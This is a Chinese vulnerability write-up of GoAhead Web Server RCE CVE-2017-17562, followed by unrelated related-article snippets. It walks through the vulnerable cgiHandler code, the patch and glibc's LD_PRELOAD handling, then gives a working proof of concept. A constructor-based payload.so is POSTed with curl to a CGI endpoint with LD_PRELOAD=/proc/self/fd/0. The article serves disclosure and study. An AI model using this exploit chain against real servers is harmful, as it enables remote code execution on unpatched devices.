goahead處理json_GoAhead Web Server遠程代碼執行漏洞分析(附PoC)

*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔。

本文是關于GoAhead web server遠程代碼執行漏洞(CVE-2017-17562)的分析,該漏洞源于在初始化CGI腳本環境時使用了不受信的HTTP請求參數,會對所有啟用了動態鏈接可執行文件(CGI腳本)的用戶造成影響。在此過程中,當CGI腳本調用glibc動態鏈接器時,特殊變量LD_PRELOAD可被注入濫用,從而導致遠程代碼執行。該漏洞是個典型的環境變量案例,能推廣應用到其它不安全的軟件架構漏洞發現中。

GoAhead在其官網聲稱為“世界上最流行的微型嵌入式Web服務器”,被IBM、HP、Oracle、波音、D-link和摩托羅拉等公司廣泛使用。通過Shodan搜索,可探測到全球共有735,000多個GoAhead當前服務器在線。

漏洞分析

在我們進行該項漏洞研究期間,我們發現,該漏洞影響范圍涉及GoAhead的早期版本2.5.0和當前最新版本(3.x),幾乎是全版本覆蓋。可以通過以下方式對存在漏洞的GoAhead程序進行安裝編譯操作:# Cloning and running the vulnerable GoAhead daemon

daniel@makemyday:~$ git clone?https://github.com/embedthis/goahead.git

Cloning into 'goahead'...

remote: Counting objects: 20583, done.

remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583

Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.

Resolving deltas: 100% (14843/14843), done.

daniel@makemyday:~$ cd goahead/

daniel@makemyday:~/goahead$ ls

configure????? CONTRIBUTING.md? doc??????? installs??? main.me?? Makefile????? paks????? README.md? test

configure.bat? dist???????????? farm.json? LICENSE.md? make.bat? package.json? projects? src

daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q

daniel@makemyday:~/goahead$ make > /dev/null

daniel@makemyday:~/goahead$ cd test

daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest

daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead

代碼分析

漏洞存在于cgiHandler函數中,該函數能為新進程的envp參數分配一個指針數組,然后使用從HTTP請求參數中獲取的鍵值對來進行初始化。最后,launchCgi函數會被fork和execve所執行的CGI腳本調用。

我們可看到在cgiHandler函數中,程序只對REMOTE_HOST和HTTP_AUTHORIZATION進行了過濾,其他變量被誤認為可信,并未被采取進一步過濾措施,這就使得允許攻擊者可以在新的CGI進程中控制環境變量,非常危險。#? goahead/src/cgi.c:cgihandler

...

PUBLIC bool cgiHandler(Webs *wp)

{

Cgi???????? *cgip;

WebsKey???? *s;

char??????? cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];

char??????? *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;

CgiPid????? pHandle;

int???????? n, envpsize, argpsize, cid;

...

/*

Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few

we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point

to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair

in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for

loop includes logic to grow the array size via wrealloc.

*/

envpsize = 64;

envp = walloc(envpsize * sizeof(char*));

for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {

if (s->content.valid && s->content.type == string &&

strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&

strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {

envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);

trace(5, "Env[%d] %s", n, envp[n-1]);

if (n >= envpsize) {

envpsize *= 2;

envp = wrealloc(envp, envpsize * sizeof(char *));

}

}

}

*(envp+n) = NULL;

/*

Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)

should already exist.

*/

if (wp->cgiStdin == NULL) {

wp->cgiStdin = websGetCgiCommName();

}

stdIn = wp->cgiStdin;

stdOut = websGetCgiCommName();

if (wp->cgifd >= 0) {

close(wp->cgifd);

wp->cgifd = -1;

}

/*

Now launch the process.? If not successful, do the cleanup of resources.? If successful, the cleanup will be

done after the process completes.

*/

if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {

...

補丁分析

該漏洞可以通過跳過特殊參數名稱,而對其它參數添加一個靜態字符串前綴來修復,即使對于形式為a = b%00LD_PRELOAD%3D的參數,似乎也能有針對性解決。補丁形式如下:# git diff f9ea55a 6f786c1 src/cgi.c

diff --git a/src/cgi.c b/src/cgi.c

index 899ec97b..18d9b45b 100644

--- a/src/cgi.c

+++ b/src/cgi.c

@@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp)

envpsize = 64;

envp = walloc(envpsize * sizeof(char*));

for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {

-??????? if (s->content.valid && s->content.type == string &&

-??????????? strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&

-??????????? strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {

-??????????? envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);

+??????? if (s->content.valid && s->content.type == string) {

+??????????? if (smatch(s->name.value.string, "REMOTE_HOST") ||

+??????????????? smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||

+??????????????? smatch(s->name.value.string, "IFS") ||

+??????????????? smatch(s->name.value.string, "CDPATH") ||

+??????????????? smatch(s->name.value.string, "PATH") ||

+??????????????? sstarts(s->name.value.string, "LD_")) {

+??????????????? continue;

+??????????? }

+??????????? envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,

+??????????????? s->name.value.string, s->content.value.string);

trace(5, "Env[%d] %s", n, envp[n-1]);

if (n >= envpsize) {

envpsize *= 2;

漏洞利用分析

雖然將任意環境變量注入新進程的漏洞利用功能看起來相對良性,但有時候一些“特殊”環境變量會導致動態鏈接程序的其它控制流產生。

ELF動態鏈接器

GoAhead的二進制ELF文件頭信息顯示,它是一個64位動態鏈接的可執行文件,解釋程序在INTERP段被指定,并且指向動態鏈接器/lib64/ld-linux-x86-64.so.2。# Reading the ELF header

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead

ELF Header:

Magic:?? 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

Class:???????????????????????????? ELF64

Data:????????????????????????????? 2's complement, little endian

Version:?????????????????????????? 1 (current)

OS/ABI:??????????????????????????? UNIX - System V

ABI Version:?????????????????????? 0

Type:????????????????????????????? DYN (Shared object file)

Machine:?????????????????????????? Advanced Micro Devices X86-64

Version:?????????????????????????? 0x1

Entry point address:?????????????? 0xf80

Start of program headers:????????? 64 (bytes into file)

Start of section headers:????????? 21904 (bytes into file)

Flags:???????????????????????????? 0x0

Size of this header:?????????????? 64 (bytes)

Size of program headers:?????????? 56 (bytes)

Number of program headers:???????? 9

Size of section headers:?????????? 64 (bytes)

Number of section headers:???????? 34

Section header string table index: 33

Program Headers:

Type?????????? Offset???????????? VirtAddr?????????? PhysAddr

FileSiz??????????? MemSiz????????????? Flags? Align

PHDR?????????? 0x0000000000000040 0x0000000000000040 0x0000000000000040

0x00000000000001f8 0x00000000000001f8? R E??? 0x8

INTERP???????? 0x0000000000000238 0x0000000000000238 0x0000000000000238

0x000000000000001c 0x000000000000001c? R????? 0x1

[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]

...

daniel@makemyday:~/goahead/build/linux-x64-default/bin$

在動態鏈接程序執行過程中,動態鏈接器是首先運行的代碼,它負責鏈接加載共享對象并解析各種符號。為了獲得goahead進程加載的所有共享對象列表,我們可以把特殊的環境變量LD_TRACE_LOADED_OBJECTS設置為1,隨后,它會顯示加載的庫信息并退出。如下所示:# ld.so LD_TRACE_LOADED_OBJECTS

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS=1 ./goahead

linux-vdso.so.1 =>? (0x00007fff31bb4000)

libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000)

libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000)

/lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)

daniel@makemyday:~/goahead/build/linux-x64-default/bin$

在不運行動態鏈接器的情況下,我們也可以通過靜態方式找到該信息,方法是grep方式遞歸查找每個ELF共享對象中定義的DT_NEEDED條目:

# statically finding shared object dependancies

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED

0x0000000000000001 (NEEDED)???????????? Shared library: [libgo.so]

0x0000000000000001 (NEEDED)???????????? Shared library: [libc.so.6]

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED

0x0000000000000001 (NEEDED)???????????? Shared library: [libpthread.so.0]

0x0000000000000001 (NEEDED)???????????? Shared library: [libc.so.6]

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED

0x0000000000000001 (NEEDED)???????????? Shared library: [ld-linux-x86-64.so.2]

daniel@makemyday:~/goahead/build/linux-x64-default/bin$

注意:可能有人注意到這里缺少了linux-vdso.so.1,這沒問題,vDSO是由內核映射進用戶進程的特殊共享庫,詳細信息可參考man 7 vdso。

特殊環境變量

所以這些看似正常,但怎么又和環境變量注入相關呢? 那么...我們知道在新進程中,動態鏈接器是首先被執行的代碼 - 如果我們檢查man 8 ld.so后可以發現,一些特殊環境變量的默認操作行為是可以被修改的。我比較喜歡看源碼,我們來一挖究竟。其中dl_main函數就是動態鏈接器的主要入口點,如下# glibc/elf/rtld.c:dl_main

static void

dl_main (const ElfW(Phdr) *phdr,

ElfW(Word) phnum,

ElfW(Addr) *user_entry,

ElfW(auxv_t) *auxv)

{

const ElfW(Phdr) *ph;

enum mode mode;

struct link_map *main_map;

size_t file_size;

char *file;

bool has_interp = false;

unsigned int i;

...

/* Process the environment variable which control the behaviour.? */

process_envvars (&mode);

該函數首先執行的任務是調用process_envvars方法:# glibc/elf/rtld.c:process_envvars

static void

process_envvars (enum mode *modep)

{

char **runp = _environ;

char *envline;

enum mode mode = normal;

char *debug_output = NULL;

/* This is the default place for profiling data file.? */

GLRO(dl_profile_output)

= &"/var/tmp\0/var/profile"[__libc_enable_secure ? 9 : 0];

while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)

{

size_t len = 0;

while (envline[len] != '\0' && envline[len] != '=')

++len;

if (envline[len] != '=')

/* This is a "LD_" variable at the end of the string without

a '=' character.? Ignore it since otherwise we will access

invalid memory below.? */

continue;

switch (len)

{

case 4:

/* Warning level, verbose or not.? */

if (memcmp (envline, "WARN", 4) == 0)

GLRO(dl_verbose) = envline[5] != '\0';

break;

case 5:

/* Debugging of the dynamic linker?? */

if (memcmp (envline, "DEBUG", 5) == 0)

{

process_dl_debug (&envline[6]);

break;

}

if (memcmp (envline, "AUDIT", 5) == 0)

audit_list_string = &envline[6];

break;

case 7:

/* Print information about versions.? */

if (memcmp (envline, "VERBOSE", 7) == 0)

{

version_info = envline[8] != '\0';

break;

}

/* List of objects to be preloaded.? */

if (memcmp (envline, "PRELOAD", 7) == 0)

{

preloadlist = &envline[8];

break;

}

可以看到,動態鏈接器會去解析envp數組,如果找到特殊變量名稱,則會執行不同的代碼路徑。非常有意思的是,case 7代碼對初始化preloadlist的LD_PRELOAD進程處理機制。

深入分析dl_main可知,如果preloadlist不為NULL,則handle_ld_preload就會被調用,如下:# glibc/elf/rtld.c:dl_main

...

/* We have two ways to specify objects to preload: via environment

variable and via the file /etc/ld.so.preload.? The latter can also

be used when security is enabled.? */

assert (*first_preload == NULL);

struct link_map **preloads = NULL;

unsigned int npreloads = 0;

if (__glibc_unlikely (preloadlist != NULL))

{

HP_TIMING_NOW (start);

npreloads += handle_ld_preload (preloadlist, main_map);

HP_TIMING_NOW (stop);

HP_TIMING_DIFF (diff, start, stop);

HP_TIMING_ACCUM_NT (load_time, diff);

}

...

handle_ld_preload方法會解析preloadlist,并把其值當成要加載的一個共享對象列表:# glibc/elf/rtld.c:handle_ld_preload

/* The list preloaded objects.? */

static const char *preloadlist attribute_relro;

/* Nonzero if information about versions has to be printed.? */

static int version_info attribute_relro;

/* The LD_PRELOAD environment variable gives list of libraries

separated by white space or colons that are loaded before the

executable's dependencies and prepended to the global scope list.

(If the binary is running setuid all elements containing a '/' are

ignored since it is insecure.)? Return the number of preloads

performed.? */

unsigned int

handle_ld_preload (const char *preloadlist, struct link_map *main_map)

{

unsigned int npreloads = 0;

const char *p = preloadlist;

char fname[SECURE_PATH_LIMIT];

while (*p != '\0')

{

/* Split preload list at space/colon.? */

size_t len = strcspn (p, " :");

if (len > 0 && len < sizeof (fname))

{

memcpy (fname, p, len);

fname[len] = '\0';

}

else

fname[0] = '\0';

/* Skip over the substring and the following delimiter.? */

p += len;

if (*p != '\0')

++p;

if (dso_name_valid_for_suid (fname))

npreloads += do_preload (fname, main_map, "LD_PRELOAD");

}

return npreloads;

}

綜合分析一下可知:我們能對goahead環境變量LD_PRELOAD進行注入,我們可以利用glibc處理特殊變量(如LD_PRELOAD等)的方式,來加載其它任意共享對象。

ELF格式的SO文件

所以,這就非常厲害了,我們能強制加載任意共享對象,但如何能利用它實現代碼執行呢?檢查.init和.fini段代碼后可以發現,如果我們用構造函數屬性來包裝修飾一個方法函數,那我們就能強制該方法函數在Main方法之前被調用執行。如下PoC:# PoC/payload.c

#include

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

write(1, "Hello: World!\n", 14);

}

將payload.c編譯為共享對象:# Compiling payload.c as shared object.

daniel@makemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so

daniel@makemyday:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null

Hello: World!

daniel@makemyday:~/goahead/PoC$

好了,如果我們在測試系統上執行該PoC,會產生什么效果呢?如下執行一個簡單的PoC:# Trying a simple PoC

daniel@makemyday:~/goahead/PoC$ ls -la ./payload.so

-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so

daniel@makemyday:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10

HTTP/1.0 200 OK

Date: Wed Dec 13 02:38:56 2017

Transfer-Encoding: chunked

Connection: close

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

hello: World!

content-type:? text/html

daniel@makemyday:~/goahead/PoC$

運行之后可以看到,我們的共享代碼由cgitest進程通過LD_PRELOAD執行了。

LINUX下的 /PROC/SELF/FD/0目錄利用

還有一個關鍵問題就是,即使我們可以從本地服務器加載共享對象,且能達到代碼執行目的,但我們如何將構造的惡意共享對象注入到遠程目標服務器中呢?如果不能實現這點,那么合法的共享對象對我們也沒什么用處,漏洞利用危害也會相對較低。

幸運的是,launchCgi函數實際上使用dup2()將stdin文件描述符指向包含POST請求內容的臨時文件,這也就是說,服務器上會有一個包含用戶提供的數據文件,并且可以通過LD_PRELOAD=/tmp/cgi-XXXXXX的方式進行引用。# goahead/src/cgi.c:launchCgi

/*

Launch the CGI process and return a handle to it.

*/

static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)

{

int???? fdin, fdout, pid;

trace(5, "cgi: run %s", cgiPath);

if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {

error("Cannot open CGI stdin: ", cgiPath);

return -1;

}

if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {

error("Cannot open CGI stdout: ", cgiPath);

return -1;

}

pid = vfork();

if (pid == 0) {

/*

Child

*/

if (dup2(fdin, 0) < 0) {

printf("content-type: text/html\n\nDup of stdin failed\n");

_exit(1);

} else if (dup2(fdout, 1) < 0) {

printf("content-type: text/html\n\nDup of stdout failed\n");

_exit(1);

} else if (execve(cgiPath, argp, envp) == -1) {

printf("content-type: text/html\n\nExecution of cgi process failed\n");

}

...

}

不過,這種方式稍顯模糊,需要猜測包含POST內容的臨時文件,但好在Linux procfs文件系統有一個很好的符號鏈接,我們可以用它來引用stdin描述符,從而指向我們的臨時文件,就比如將 LD_PRELOAD指向/proc/self/fd/0,或使用/dev/stdin來訪問臨時文件。# linux/fs/proc/self.c

static const char *proc_self_get_link(struct dentry *dentry,

struct inode *inode,

struct delayed_call *done)

{

struct pid_namespace *ns = inode->i_sb->s_fs_info;

pid_t tgid = task_tgid_nr_ns(current, ns);

char *name;

if (!tgid)

return ERR_PTR(-ENOENT);

/* 11 for max length of signed int in decimal + NULL term */

name = kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC);

if (unlikely(!name))

return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);

sprintf(name, "%d", tgid);

set_delayed_call(done, kfree_link, name);

return name;

}

static const struct inode_operations proc_self_inode_operations = {

.get_link?= proc_self_get_link,

};

綜合分析可知,我們可在POST請求中內置一個包含構造函數的惡意共享對象,當程序加載后,該構造函數會被調用執行。當然,也可以在HTTP參數中內置?LD_PRELOAD=/proc/self/fd/0命令,通過該命令指向包含測試Payload的臨時文件,也能實現目的。如下在POST請求中利用命令行實現漏洞利用:# exploiting via the command line

daniel@makemyday:~/goahead/PoC$ curl -X POST --data-binary @payload.so?http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0?-i | head

% Total??? % Received % Xferd? Average Speed?? Time??? Time???? Time? Current

Dload? Upload?? Total?? Spent??? Left? Speed

100? 9931??? 0? 2035? 100? 7896?? 2035?? 7896? 0:00:01? 0:00:01 --:--:--? 9774

HTTP/1.1 200 OK

Date: Sun Dec 17 13:08:20 2017

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

hello:? World!

Content-type: text/html

daniel@makemyday:~/goahead/PoC$

總結

該漏洞是一個對環境變量LD_PRELOAD的特殊利用案例,幾乎影響所有GoAhead版本軟件。這種漏洞可能還存在于其它應用服務中,非常有意思,它們只是對漏洞字符串的簡單利用,還不需要涉及代碼審計層面。

盡管在大多Web應用服務中,CGI代碼處理機制相對穩定,但在一些模塊中可能還存在著明顯的代碼錯誤,這些錯誤會導致很多異常漏洞,對此,我建議可先用grep命令來查找這個websDefineHandler入口地址。

如果你對鏈接和加載機制感興趣,可參考這兩篇文章(一,?二),感謝閱讀。

*參考來源:elttam,freebuf小編clouds編譯,轉載請注明來自FreeBuf.COM

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/279319.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/279319.shtml
英文地址,請注明出處:http://en.pswp.cn/news/279319.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

項目中的模塊剝離成項目_使用MCEBuddy 2從電視錄制中剝離廣告

項目中的模塊剝離成項目One of the great things about time-shifting your television viewing is that you are able to watch the shows you love at a time that suits you. Just because you have an appointment on Wednesday evening there’s no need to miss out on y…

有上下界限制可行流

無源匯有上下界限制可行流&#xff08;循環流&#xff09; 即每條邊的流量限制為[L,R]&#xff0c;判斷有沒有滿足整個網絡的可行流。 看看以前學的網絡流&#xff0c;實際上它的流量限制為[0,C]&#xff0c;現在無非多了一個下限的限制。 網絡流的一個重要性質&#xff1a;除了…

.gitignore文件將已經納入版本管理的文件刪除

git rm -r --cached . git add . git commit -m update .gitignore git push -u origin master 先將本地緩存刪除&#xff0c;再提交&#xff0c;.gitignore文件只針對那些沒有被staged的文件有效 參考博客&#xff1a;https://www.cnblogs.com/kevingrace/p/5690241.html 轉載…

gmail收件箱標簽設置_通過在Gmail中啟用實驗室功能來啟動收件箱

gmail收件箱標簽設置We recently looked at how you can make it easier to manage multiple inboxes in Gmail using the Multiple Inboxes Lab feature. This is a non-standard feature and it’s far from being the only one available to you. In fact there are numerou…

linux rmp命令安裝包在哪里_rpm命令_Linux rpm 命令用法詳解:RPM軟件包的管理工具...

rpm命令是RPM軟件包的管理工具。rpm原本是Red Hat Linux發行版專門用來管理Linux各項套件的程序&#xff0c;由于它遵循GPL規則且功能強大方便&#xff0c;因而廣受歡迎。逐漸受到其他發行版的采用。RPM套件管理方式的出現&#xff0c;讓Linux易于安裝&#xff0c;升級&#xf…

【題解】洛谷P1066 [NOIP2006TG] 2^k進制數(復雜高精+組合推導)

洛谷P1066&#xff1a;https://www.luogu.org/problemnew/show/P1066 思路 挺難的一道題 也很復雜 滿足題目要求的種數是兩類組合數之和 r的最多位數m為 w/k&#xff08;當w mod k0 時&#xff09;w/k1&#xff08;當 w mod k1 時&#xff09;First: 位數為2~m的種數 即從2k-1中…

cmd命令不識別exp_Cmder-超量級的Cmd

Windows命令行工具cmd缺點窗口size不能便捷縮放復制文本&#xff0c;不能直接用鼠標拷貝&#xff0c;還需要多一道菜單操作&#xff1b;而且&#xff0c;還只能塊狀拷貝&#xff0c;而不是按行字符&#xff0c;極其不便不支持多Tab頁&#xff0c;多窗口管理不便cmd界面丑陋&…

sizeof string

char a[] "hello"; string s "hello"; cout<<sizeof(a)<<endl; cout<<sizeof(s)<<endl; cout<<sizeof(s.c_str())<<endl;輸出為 6 32 4最后一個c_str返回的是char*,所有指針的長度都為4。sizeof(s)為什么為32&#…

iTOP-4412開發板實現3路ADC數模轉換驅動例程

學習下 linux 數模程序驅動的編寫&#xff0c;本節我們實現的功能是實現三路ADC 數模轉換。驅動程序驅動程序的名字&#xff1a;“itop4412_adc.c”。要想把這個驅動注冊到內核,先把這個驅動程序放到內核的“driver/char”目錄下面&#xff0c;如下圖所示&#xff1a; Makefile…

β射線與哪些物質可產生較高的韌致輻射_輻射無所不在,香蕉土豆里都有?我們還能愉快生活嗎?...

作為一枚受過系統科學教育&#xff0c;耳聰目明的當代年輕人&#xff0c;你是不是隔三差五被長輩親友群里各種“XX有放射性&#xff0c;趕緊遠離&#xff01;”的科學謠言搞得哭笑不得&#xff1f;又或者&#xff0c;稍一不注意&#xff0c;長輩親友就買回了各種號稱黑科技滿滿…

requests保存圖片

1.創建07_save_jpg.py文件 import requests#發送請求respone requests.get("https://www.baidu.com/img/bd_logo1.png?wheresuper")#保存with open("a.png","wb")as f: f.write(respone.content)2.運行代碼 轉載于:https://www.cnblogs.com…

在Linux上運行Windows軟件的4種以上方法

Linux has come a long way, but you may still need to run Windows applications occasionally – especially Windows-only PC games. Luckily, there are quite a few ways to run Windows applications on Linux. Linux已經走了很長一段路&#xff0c;但是您可能仍然偶爾需…

Spring-IOC XML 配置多個相同 ID 的 bean 加載分析

我們現在仍以 xml 中配置 bean 的方式來 使用 Spring &#xff0c;不考慮注解和掃包 配置相同id 的bean 定義一個 bean 類 TransactionManager /*** author maple 2018.09.10 下午10:27*/ public class TransactionManager {private static int counter 0;private String bean…

confd_confd + Nacos | 無代碼侵入的配置變更管理

為什么要支持confd&#xff0c;老的應用配置管理模式是啟動時讀取配置文件&#xff0c;然后重新讀取配置文件需要應用重啟。一般的配置管理系統都是代碼侵入性的&#xff0c;應用接入配置管理系統都需要使用對應的SDK來查詢和監聽數據的變更。對于一些已經成熟的系統來說&#…

如何在Windows 8中更改登錄屏幕的顏色

Nearly every component of Windows 8 can be customized to suit your needs, some settings however are buried deep into the registry. Windows 8的幾乎每個組件都可以自定義以滿足您的需求&#xff0c;但是某些設置卻深埋在注冊表中。 如何在Windows 8中更改登錄屏幕的顏…

我看的書籍

UNIX Network Programming, Volume 1, Second Edition, by W.Richard Stevens. Cocoa Programming for Mac OS X, Third Edition, by Aron Hillegass. Beginning AppleScript, by Stephen G. Kochan. 轉載于:https://www.cnblogs.com/IvanYang/archive/2010/11/11/1874610.html…

linux下mysql數據庫操作命令

1&#xff1a;啟動服務 service mysqld start (5.0版本是mysqld) service mysql start (5.5.7版本是mysql)2&#xff1a;停止服務 service mysqld stop3&#xff1a;重啟服務 service mysqld restart service mysql restart (5.5.7版本命令)4&#xff1a;登陸 登陸本地主機 my…

js怎么獲取一個元素與屏幕右邊的距離_js中如何獲取某個元素到瀏覽器最左和最右的距離...

js中如何獲取某個元素到瀏覽器最左和最右的距離以下文字資料是由(歷史新知網www.lishixinzhi.com)小編為大家搜集整理后發布的內容&#xff0c;讓我們趕快一起來看一下吧&#xff01;js中獲取某個元素到瀏覽器最左和最右的距離的程序代碼是&#xff1a;<> //自行下載分頁…

kindle閱讀_如何在Kindle上清除最遠的閱讀頁面

kindle閱讀It’s really annoying when you’re trying to re-read an eBook and your Kindle or Kindle app keeps trying to get you to jump to the end because that’s the “Furthest Location Read.” Here’s how to fix it. 當您嘗試重新閱讀電子書并且Kindle或Kindle…

杜鵑演繹奢華春裝大片

化妝/發型:老黑(老黑造型)化妝 /發型助理:全科班學員(老黑化妝造型藝術學校)這組片子是為《芭莎》雜志拍攝的,而且就刊登在本月的刊目里.每次看到自己的作品都感到有一絲的成就感,這也是我喜歡這份工作最直接的原因,哈哈!!話不多說了,一起欣賞大片吧!!化妝/發型:老黑(老黑造型)…